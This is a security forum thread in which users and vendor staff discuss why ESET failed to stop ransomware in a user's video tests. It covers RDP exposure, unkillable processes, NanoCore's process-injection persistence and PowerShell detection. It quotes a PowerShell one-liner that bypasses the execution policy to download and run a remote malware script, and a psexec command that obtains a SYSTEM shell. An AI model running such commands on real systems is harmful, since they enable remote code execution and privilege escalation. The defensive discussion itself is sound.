Ransomware

[sdnian 6]

I reported to sample@eset.com on January 17th that ESET could not block ransomware, but I have not received any response at the moment. I just tested it again, this ransomware still successfully encrypts the file. Can someone handle it?

See the video for details - ESET can't stop the ransomware in this situation

[Peter Randziak 1,130]

Hello @sdnian,

can you please send me the sample via private message to check?

Regards, P.R.

[Marcos 5,074]

This scenario assumes that an attacker successfully connected via RDP with admin rights. If that happens, the user has a much bigger problem than not detecting files from an RDP share under these specific circumstances when the network speed is limited. With admin rights, a user can do virtually anything. Actual attackers would attempt to kill or remove an AV that would enable him or her to run any malware regardless of the size and type of malicious files.

That said, the problem that should be solved in the first place is securing RDP (e.g. by limiting it only to connections from LAN and using VPN or 2FA on an RDP gateway for connections from outside).

 

[sdnian 6]

5 minutes ago, Marcos said:

This scenario assumes that an attacker successfully connected via RDP with admin rights. If that happens, the user has a much bigger problem than not detecting files from an RDP share under these specific circumstances when the network speed is limited. With admin rights, a user can do virtually anything. Actual attackers would attempt to kill or remove an AV that would enable him or her to run any malware regardless of the size and type of malicious files.

That said, the problem that should be solved in the first place is securing RDP (e.g. by limiting it only to connections from LAN and using VPN or 2FA on an RDP gateway).

 

No. this don't need Admin rights. It just a user account in that video.

Edited January 25, 2019 by sdnian

[Marcos 5,074]

It doesn't matter. Some malware can run even without admin rights. The main problem here is that an "attacker" remoted in and that should be solved in the first place. Even without admin privileges it's possible to escalate them.

[sdnian 6]

8 minutes ago, Marcos said:

It doesn't matter. Some malware can run even without admin rights. The main problem here is that an "attacker" remoted in and that should be solved in the first place. Even without admin privileges it's possible to escalate them.

So this is not a problem with ESET? Then I should make this video public, reminding ESET customers to pay attention to this problem.

[Marcos 5,074]

The fact that an "attacker" gets into the system is not a problem of ESET. Once that happens, the attacker can do whatever he or she wants and the user has a much bigger problem. Security is not about just installing an AV thinking that that would ensure 100% protection from attacks and infection. It is also necessary to minimize the attack surface (e.g. by security RDP or other possible vectors of remote connection), keep the OS and sw updated, practicing secure computing, etc. For attackers it's much easier to kill AV after successfully connecting to a remote machine than limiting network speed and making also RDP connection slow.

[novice 20]

2 hours ago, Marcos said:

For attackers it's much easier to kill AV after successfully connecting to a remote machine than limiting network speed and making also RDP connection slow.

In the scenario presented above, was ESET disabled by the "attacker"????

[Marcos 5,074]

In this scenario (if it was an actual attack) the user didn't secure RDP and an attacker made it to the machine. Similar to leaving the door open open for thieves and an alarm on. With the thief knowing that crawling in slowly enough that the motion detector would not be triggered, he could actually get in unnoticed. Of course, the main protection here would be securing the door properly and not increasing the sensitivity of the motion sensor to such an extent that even dust motion would trigger an alarm every while and then.

If an attacker get access to a machine (typically via RDP), as a result, he or she can do anything from just viewing files on the disk to modifying or stealing them, or to uninstalling or disabling AV and running malware (ransomware, installing a backdoor, spyware, etc.).

[novice 20]

22 minutes ago, Marcos said:

n this scenario (if it was an actual attack) the user didn't secure RDP and an attacker made it to the machine.

That I understand!

My question is " In the scenario presented above, was ESET disabled by the "attacker"????

[sdnian 6]

17 minutes ago, Marcos said:

In this scenario (if it was an actual attack) the user didn't secure RDP and an attacker made it to the machine. Similar to leaving the door open open for thieves and an alarm on. With the thief knowing that crawling in slowly enough that the motion detector would not be triggered, he could actually get in unnoticed. Of course, the main protection here would be securing the door properly and not increasing the sensitivity of the motion sensor to such an extent that even dust motion would trigger an alarm every while and then.

If an attacker get access to a machine (typically via RDP), as a result, he or she can do anything from just viewing files on the disk to modifying or stealing them, or to uninstalling or disabling AV and running malware (ransomware, installing a backdoor, spyware, etc.).

I agree with you. User has something he should do, but User pays ESET, isn't it that ESET can help it stop bad things in some unexpected situations?

And my problem is: this example, ESET has not been destroyed, the malware is already detectable, and ESET has detected it after execution. Why keep it working? Why can't ESET terminate it? This is not the only one. I also reported another example. The ransomware virus executed by Powershell, ESET is still only detected, and can not terminate its encrypted file.

[sdnian 6]

1 minute ago, novice said:

That I understand!

My question is " In the scenario presented above, was ESET disabled by the "attacker"????

ESET has not been destroyed. Its function can work normally.

[novice 20]

1 minute ago, sdnian said:

ESET has not been destroyed. Its function can work normally.

So, we have a more serios problem here, with a fully functional ESET being unable to protect against this ransomware...

As a remainder, ESET has a dedicated anti-ransomware shield, a behavior shield, HIPS, live grid....

[itman 1,659]

4 hours ago, sdnian said:

And my problem is: this example, ESET has not been destroyed, the malware is already detectable, and ESET has detected it after execution. Why keep it working? Why can't ESET terminate it?

I must say, this is the best example of Eset's ransomware detection to date I have seen. AMS detected the injected ransomware code in the svchost.exe child process and neutered it. Since AMS is post execution detection and as the video clearly shows, some files had been encrypted.

Eset did attempt to stop the ransomware execution. It did terminate the parent ransomware process and attempted to terminate the child svchost.exe process. My best guess to why it couldn't terminate svchost.exe is it was started as a protected process with such status that only the OS kernel could do so. One example of how this can be done:

Quote

You can try using psexec -accepteula -d -e -i -h -s cmd.exe to launch a Command Prompt as the NT AUTHORITY\SYSTEM user, giving you kernel-level privileges on the local machine.

https://www.reddit.com/r/techsupport/comments/28s5rh/killing_an_unkillable_process/

The svchost.exe process then continued execution deleting the shadow volume copies of the encrypted files preventing any recovery of those using the shadow volume recovery processing.

What this example does show is an issue I have been "harping about" for some time. This is reputational analysis by Eset. Here we have an unknown process spawning a child svchost.exe process. This is clearly suspect activity since svchost.exe does not normally start this way. A suspicious activity alert should have been generated at svchost.exe startup time.

4 hours ago, sdnian said:

The ransomware virus executed by Powershell, ESET is still only detected, and can not terminate its encrypted file.

I would have to review the details of this one.

Edited January 25, 2019 by itman

[itman 1,659]

I reviewed the video again and said to myself, "Sometimes the obvious alludes you."

This is not an RDP attack but rather a misguided attempt at a remote execution attack.

In a RDP attack, the attacker previously gains the targets logon credentials. Then from a device external to the targeted network and device within, logs on to the targeted device from his external device using the RDP protocol.

A remote execution attack occurs when "dropper" program is unwittingly downloaded to a target network/device. The purpose of the dropper is to create usually a "backdoor" through which the attack can either download additional malware to the target device and/or run the malware remotely from his attack device. Scripts are an ideal download source since their existence on the target device would not arouse suspicion.

This videoed  "attack" shows the following activities:

1. The ransomware and its dropper, the spyware program Eset clearly detects as shown in the video via Virus Total, was downloaded on the tester's device where Eset was not installed.

2. The password protected archive was extracted on the tester's device hard drive.

3. The tester starts up Win 7 in a VM on his device. The VM has Eset Endpoint installed and operational.

4. Within the VM, the tester using Win Explorer starts the previously downloaded Spyware dropper resident on the non-virtualized hard drive. 

I  will stop at this point. This is not a legitimate remote execution attack scenario. 

-EDIT- I forgot to mention this. As far as that child process svchost.exe child process running in the video, it is not the system process svchost.exe located in the Windows System32 directory. That can only run under SCM control. If one has doubts, open up an admin command prompt window and enter svchost.exe. It appears it is successfully executed but no new svchost.exe process is created. That is because the request just silently errors out.

So I have no clue what the process actually is other than it was created with protections preventing its termination; at least in a VM. Other than the protected process bit, this method; among others, may have been employed:

Quote

A defence against this is to create a dummy process that spawns the keep-alive process, then have that dummy process exit. The main process passes its ID to the dummy process, and the dummy process passes its ID to the keep-alive process, but the chain is broken when the dummy process exits. This leaves both the primary and keep-alive processes running, but makes it impossible to use Task Manager's kill process tree function. Instead, you'd have to write a script to kill them off, or use a tool that allows you to kill multiple processes simultaneously.

https://security.stackexchange.com/questions/30985/create-a-unterminable-process-in-windows

Edited January 26, 2019 by itman

[novice 20]

6 hours ago, itman said:

I must say, this is the best example of Eset's ransomware detection to date I have seen

Funny thing, this reminds me about a story; If I am not mistaken, it is a line from The Tiger King by Kalki. It was a chapter in class XII English textbook "Vistas".

“The three surgeons who performed it came out of the theatre and announced.

The operation was successful. The maharaja is dead.”

Edited January 25, 2019 by novice

[itman 1,659]

Also worth researching is if this new method of malware persistence currently being employed by the NanoCore Trojan was used by this ransomware. Note the suspended process activity in the video:

Quote

The cybersecurity team from Fortinet recently captured a sample relating to the spread of NanoCore RAT in the form of a malicious Microsoft Word document.
[...]
Two processes will be running at this stage; Netprotocol.exe, which is a copy of CUVJN.exe and is the daemon designed to unzip NanoCore, alongside dll.exe, which is a very interesting daemon process in itself.

Dll.exe is designed to keep the Trojan running. The process starts netprotocol.exe, injects NanoCore into memory, and runs the code. One of the process' classes is called "ProtectMe" with a function "ProtectMe.Protect()" which prevents the process from being killed off by the victim. During testing, Fortinet researchers could not kill the netprotocol.exe process at all -- despite it not being a system service or containing higher privileges than the user.

It turns out that the process uses a function called ZwSetInformationProcess, from NTDLL.dll, is able to modify the state of the process and prevent it from being disabled.

"There is a function named "RunPE.doIt()" that is used to run and protect the NanoCore RAT client. It calls the API CreateProcessA to start a new "netprotocol.exe" and then suspends it," the researchers say. "Next, it allocates memory in the new "netprotocol.exe" and puts the entire NanoCore into the newly allocated memory using the API WriteProcessMemory. Finally, it modifies the entry point of the thread context to NanoCore's entry point and resumes NanoCore running inside the second "netprotocol.exe" by calling the API ResumeThread."

Ref.: https://www.zdnet.com/article/nanocore-trojan-stops-you-killing-its-process/

Edited January 26, 2019 by itman

[sdnian 6]

Here is another example that ESET can't stop ransomware again.

There are three key points:

1. These two ransomware viruses are already detectable by ESET.
2. ESET does not block it when it starts up.
3. After startup, ESET can detect it, but it cannot terminate it. Finally, all files been encrypted.

 

 

[itman 1,659]

Hum …………. Here we go again!

Your video clearly shows Eset detecting the PowerShell based ransomware when run as designed and frequently done via the command shell interface.

You then open the PowerShell GUI interface and run the unpacked/unobfuscated/decrypted script. You wonder why Eset couldn't stop the ransomware running under PowerShell although it detected it in memory. The simple answer is because you manually started PowerShell GUI interface. As such Eset won't terminate it since it is viewed as legit system activity. Eset is designed to detect PowerShell based malware as it deployed "in the wild." That is when its malicious execution is attempted via external startup means. 

The only way an attacker could duplicate what you did is if he logged on a device remotely and then started, as you did, the PowerShell GUI. The only way this would go unnoticed is if the PC was unattended. Finally if the attacker could gain remote access, he could have just unloaded all the target device's files and deleted them afterwards on the target device.

If you are going to perform malware testing, please do so properly.

Edited January 29, 2019 by itman

[itman 1,659]

I will also add there is a bit of "misguided trickery" in the this PowerShell video.

I have used in the past a .Net based PowerShell global keylogger script that Eset now detects as malicious. I restored the script from Eset's Quarantine. I then attempted to Edit the script. This in turn caused Powershell ISE to load. It in turn tried to load the PowerShell script for editing. I immediately got an alert from Eset that malware was detected upon attempted file access to the script:

Additionally, Eset blocked the attempt by PowerShell to access the script:

[itman 1,659]

I ran another test employing PowerShell the way the script should have been tested.

First, I temporarily excluded my keylogger script from detection by Eset realtime scanning so I could copy it to the clipboard. I then fired up PowerShell ISE and copied the keylogger code to it. Finally, I ran the code as a script from PowerShell ISE:

As the above screen shot shows, the script was not allowed to run due to detection of malicious content by Eset. Initially I did not get an alert from Eset. Appears Eset won't show it until all corrective action has been completed. However, the Eset Detected Threats log shows Eset first detected malicious code prior to script file creation via AMSI scanning:

Next Eset blocked creation of the script in an AppData folder:

Overall, a very good showing of Eset PowerShell script protection.

Oh, the minute I tried to access the script folder containing my original keylogger script, Eset deleted that:

Edited January 30, 2019 by itman

[novice 20]

10 hours ago, itman said:

As such Eset won't terminate it since it is viewed as legit system activity. Eset is designed to detect PowerShell based malware as it deployed "in the wild."

Then is designed wrong!

[itman 1,659]

One of the main problems with amateur malware testers is their testing of malware samples outside of the context by which they are actually deployed. For example if one wants to test a security product's capability to protect against fileless ransomware delivered via remote execution, they need to run:

Quote

Loading scripts directly in memory

An attacker can perform remote execution of a script by directly executing it in memory to bypass endpoint security. Here is a command line example that uses the DownloadString method to download content from a remote location to a buffer in memory:

powershell.exe -ep Bypass -nop -noexit -c iex ((New ObjectNet.WebClient).DownloadString(‘https://[website]/malware.ps1′))

The purpose of the “Bypass” parameter is to bypass execution policies so that administrators can remotely execute commands. However, attackers can also use the same parameter to bypass security. Because using this parameter doesn’t result in any configuration change, it’s a common target to bypass.

https://securingtomorrow.mcafee.com/business/fileless-malware-execution-with-powershell-is-easier-than-you-may-realize/

Of course, they also need something locally to allow for the startup of powershell.exe remotely which frequently is the backdoor components of PowerSploit: https://attack.mitre.org/software/S0194/ 

-EDIT- Also in the above McAfee remote execution of PowerShell example, detecting, blocking, and cleaning the script ransomware code from memory stops the ransomware from executing. Powershell.exe would still be running but would not be executing anything.

It is also a good idea to create a firewall rule to block all outbound traffic from powershell.exe.

Edited January 30, 2019 by itman